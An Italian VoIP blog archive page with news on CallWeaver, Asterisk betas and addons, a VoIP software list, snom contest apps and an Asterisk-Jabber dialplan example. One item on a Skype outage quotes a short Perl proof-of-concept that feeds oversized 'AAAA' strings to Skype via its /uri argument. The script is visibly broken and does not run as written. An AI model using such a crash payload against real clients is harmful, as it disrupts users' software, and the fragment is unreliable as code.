Category: Applicazioni

Solo pochi giorni fa era arrivata la prima versione di FreeSWITCH, pochi meno quella di CallWeaver, la prima stabile, la 1.2.0, e lunedi la 1.2.0.1 con qualche piccolo fix.

callweaver

CallWeaver e’ un fork di Asterisk, dalle idee pero’ molto chiare e con degli obbiettivi ben precisi, non ha caso nella pagina del wikiPerche migrare a CallWaver?” vi sono una serie di risposte interessanti e divertenti. Devo dire che personalmente mi stanno gia simpatici.

Mentre si cerca di stabilizzare la prossima versione stabile 1.6, nuove funzionalita’ vengono gia aggiunte al prossimo step 1.6.1.

Dalla versione 1.4 alla 1.6 molte funzionalita’ sono state aggiunte, bug fix corretti, etc etc … tra cui anche il modello di sviluppo, dalla versione 1.6 di Asterisk cosi come dalla versione 2.6 del kernel di Linux, la differenza tra stabile e sviluppo e’ meno netta… di sicuro e’ probabile che nuove funzionalita’ vengano introdotte piu in fretta, poi…

La prima in questo nuovo sistema aggiunge il supporto ai multipli parking lots, sino ad ora presente solo come addon esterno.

Ieri e’ stata rilasciata sia la Beta-4 di Asterisk che la Beta-2 del pacchetto addons, con simpatiche novita per tutti :)

In particolare il pacchetto Asterisk oltre a vari bugfix aggiunge:

  •  11964, added the ability to get the original called number on SS7 calls
  •  11873, Added core API changes to handle T.38 origination and termination

Gli addons aggingono il supporto per la generazione e ricezione dei fax in formato T.38 alle applicazione rx_fax e tx_fax.

Sara’ interessante verificare il livello di compatibilità del T.38 implementato in Asterisk con i vari apparrati/appliance gia esistenti…staremo a vedere.

VirtualHosting Blog riporta una lista delle milgiori 50 applicazioni VoIP.

SIP Proxies

  1. OpenSer
  2. VOCAL
  3. partySIP
  4. SIP Express Router
  5. MjServer
  6. OpenSBC
  7. sipX

SIP Clients

  1. Linphone
  2. PhoneGaim
  3. OpenWengo
  4. Cockatoo
  5. Minisip
  6. OpenZoep
  7. Shtoom
  8. Twinkle
  9. YeaPhone

H.323 Clients

  1. YATE
  2. FreeSWITCH
  3. Eikga
  4. OpenPhone
  5. XMeeting

IAX Clients

  1. IAXComm
  2. Kiax
  3. YakaPhone
  4. SFLPhone

PBX and IVR Platforms

  1. Asterisk
  2. OpenPBX
  3. GNU Bayonne
  4. CT Server
  5. sipX PBX
  6. Trixbox
  7. Evolution PBX

Stacks and Libraries

  1. OpenSIPStack
  2. The GNU oSIP Library
  3. Twisted
  4. Verona
  5. PJSIP
  6. eXosip
  7. Vovida SIP
  8. reSIProcate

Developers

  1. SIPFoundry
  2. Pingtel
  3. Vovida
  4. Sangoma
  5. Digium

Miscellaneous

  1. SIP Thor
  2. MobiCents
  3. Aradial
  4. Lintad

Rispetto a molte altre marche sono sicuramente degli ottimi telefoni, certo, di recente sono state scoperte alcune nuove falle di sicurezza da GNUCitizen riguardanti l’interfaccia di amministrazione, tuttavia c’e’ da dire che alcuni “problemi” sono dovuti più che altro alle cattive impostazioni di default, ma quale sistema di default puo’ definirsi sicuro?!

Sempre la SNOM qualche tempo fa ha indetto lo “snom XML context”, con vari premi e fornendo alcune idee ed  esempi da cui partite.

Di seguito la lista dei vincitori, con le relative applicazioni:

Business category:

  • XMLConference by Andreas NeugebauerXmlConference consiste in una Servler scritta per gli snom 3xx con firmware 7.2.3 o superiore ed utilizzale AMI per mostrare le informazioni reltive alle conferenze permettendo di interagire attraverso il telefono setsso.
  • EyeOfSnom by Axel JägerUn visualizzatore di immagni richiede firmware 7.2.1 o superiore.
  • InterAsterisk by Stefan WillmerothL’applicazione offre varie funzionalita’, dalla rubrica centralizzata,  alla lista delle conference room o dei telefoni occupati. Scritta in PHP.
  • Fonzo by Pablo BeyenUn’altra rubrica centralizzata questa volta pero’ scritta in ruby

Lifestyle category:

  • SnomSnake by David KreitschmannChe dire, ecco il filmato.
  • LunchBreak by Stefan WillmerothUn sistema per organizzare la pausa pranzo, in cui i colleghi posso joinare l’invito che avete inviato, simpatica l’idea.
  • TTT by Pablo BeyenTic-Tac-Toe multi player
  • Calculator by Siggi LangaufPoteva mancare la calcolatrice?!

Tutte le applicazioni sono scaricabili delle rispettive pagine.

Di recente ho letto un post di Olle, sull’integrazione di Asterisk 1.4 con Jabber, che ci permette di effettuare il re routing delle chiamate basandosi sulla presenza o meno di un “operatore” in Jabber.

Jabber & Asterisk

Olle scrive: “Permettendo ad Asterisk di connettersi ad un Jabber server attraverso un account, sara’ possiible aggiungere buddies attraverso il dialplan. In questo modo potremmo dedidere dove e come veicolare la chiamata sulla base dello stato dell’account Jabber. Ad esempio se Alice e’ in stato Away, potremmo inoltrare la chiamata direttamente alla voicemail.” Continua scrivendo: “... Asterisk puo’ inviare messaggi di testo ai client Jabber attraverso il dialplan.“.

Di seguito riporto un esmepio di come provare questo descritto da Olle.

exten => 123,1,jabberstatus(asterisk,buddie@server.jabber,STATUS)
exten => 123,2,gotoif($[$[${STATUS}] < 6]:available,unavailable)
exten => 123,3(available),jabbersend(asterisk, buddie@server.jabber, “Hi, $CID(NUM) is calling you!”)
exten => 123,4,Dial(iax2/mog)
exten => 123,5(unavailable),voicemail(u123)

Bello e’ :)

se non l’avete ancora fatta, prima o poi dovreste. Qualche ritardatario c’e’ sempre si sa, e benche’ la versione 1.2 sia stata dismessa, qualcuno, sicuro della stabilita’ raggiunta aspetta ancora magari con quale scusa per aggiornare.

Un motivo in piu’ per passare ora, ovvero per non saltare a pie pari alla versione 1.6 quando uscira’, e’ fornito dalla Digium stessa, nella propria politica di “backwards compatibility”, che “li costringe” a non mandare tutto a quel paese tra una (1) versione e l’altra. Ovvero le configurazioni della versione 1.0 devono funzionare anche in 1.2, ma non in 1.4; cosi quelle di 1.2 funzioneranno in 1.4 ma non in 1.6, o almeno e’ possibile che non funzionino.

Qundi apparentemente vi verra’ da pensare: “Ottimo, non avro’ problemi con l’upgrade”, beh io continuerei a leggere…

» Read the rest of the entry..

per chi come me fosse stato in vacanza occupandosi di tutto tranne che di voip, ecco una breve panoramica su quanto e’ accaduto nel mondo di asterisk nel frattempo.

30 Luglio - nella mailing list -users di Asterisk e’ copraso un Load balacer per IAX2, che non necessita di Asterisk. Al momento a detta dell’autore e’ in fase di sviluppo, ma da test fatti e’ gia possibile utilizzarlo.
http://www.gradwell.com/tmp/iax_proxy.tar.gz

1 Agosto - SiVuS , e’ stata rilasciata la nuova versione 1.10 per Linux, uno scanner di vulnerabilita SIP.

3 Agosto - [OT] Google Phone, ennesimo annuncio, chissa

5 Agosto - AsterCRM, e’ nata un alternativa al famoso SugarCRM, pensata per Asterisk, le funzionalita‘ sono ovviamente minori, anche se al momento gia mostra Pop-up when dial in, PoP-up when dial out, Auto-complete, Click-to-dial, Transfer e Exension manager.

7 Agosto - Asterisk 1.2.24 and 1.4.10 released, nel comunicato si consiglia l’upgrade a chi utilizza chan_skinny, che soffriva dell’ennesimo bug. Per il resto sono stati effettuati numerosi fix, in particolare sul chan IAX2.

8 Agosto - chan_mobile, in asterisk_addons. Attraverso questo chan e’ possibile utilizzare cellulari bluetooth come FXO ed il microfono come FXO, bello no :)

14 Agosto - Iaxclient Branching off 2.0, e’ stato aperto il ramo 2.0 contenente il supporto video in modo ufficiale, prima era presente solo in svn.

15 Agosto - Lightweight Home Security with Indigo and Asterisk, ovvero domotica targata Asterisk,

16 Agosto - [OT ma doveroso] 14 Compleanno di Debian :D

17 Agosto - Skype, caduto! Le dichiarazioni uffciali negano la possibilita’ di un attacco, ma non molto tempo prima e’ stato pubblicato questo… che abbia influito?!

#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!

for ($i=256; $i>xCCCCC; $i=$i+256){
$eot=’AAAA’ x $i;
call_sp();
}
exit;

sub call_sp(){
$str=?\?C:\\Program Files\\Skype\\Phone\\Skype.exe\? \?/uri:$eot\?”;
}

Vi sono varie possibilita’ per strutturare un sistema HA per Asterisk. Quello che vi presentero’ oggi con un micro HowTo e’ sicuramnte una delle piu veloci ed a mio giudizio efficaci.

A dire il vero il grosso del lavoro lo fa uCarp, (Common Address Redundancy Protocol) software portato dal OpenBSD, alternativa al VRRP di Cisco.

» Read the rest of the entry..

Asterisk e Bluethooth, Nerd Vittles, ha pubblicato un articolo in cui spiega passo passo come utilizzarlo.

L’articolo e’ pensato per Bluetooth + Asterisk + iPhone, ma come noterete l’idea alla base e’ molto semplice e utilizzabile con qualsiasi dispositivo.

Il funzionamento e’ molto semplice, vi e’ uno script che verifica la presenza di apparti bluetooth, nel caso in cui trovasse quello “richiesto” inserisce un valore nel DB del nostro asterisk. Sara sufficente modificare il nostro Dialplan e far comportare il nostro asterisk in modo diverso in base alla presenza o meno di un dato valore nel DB.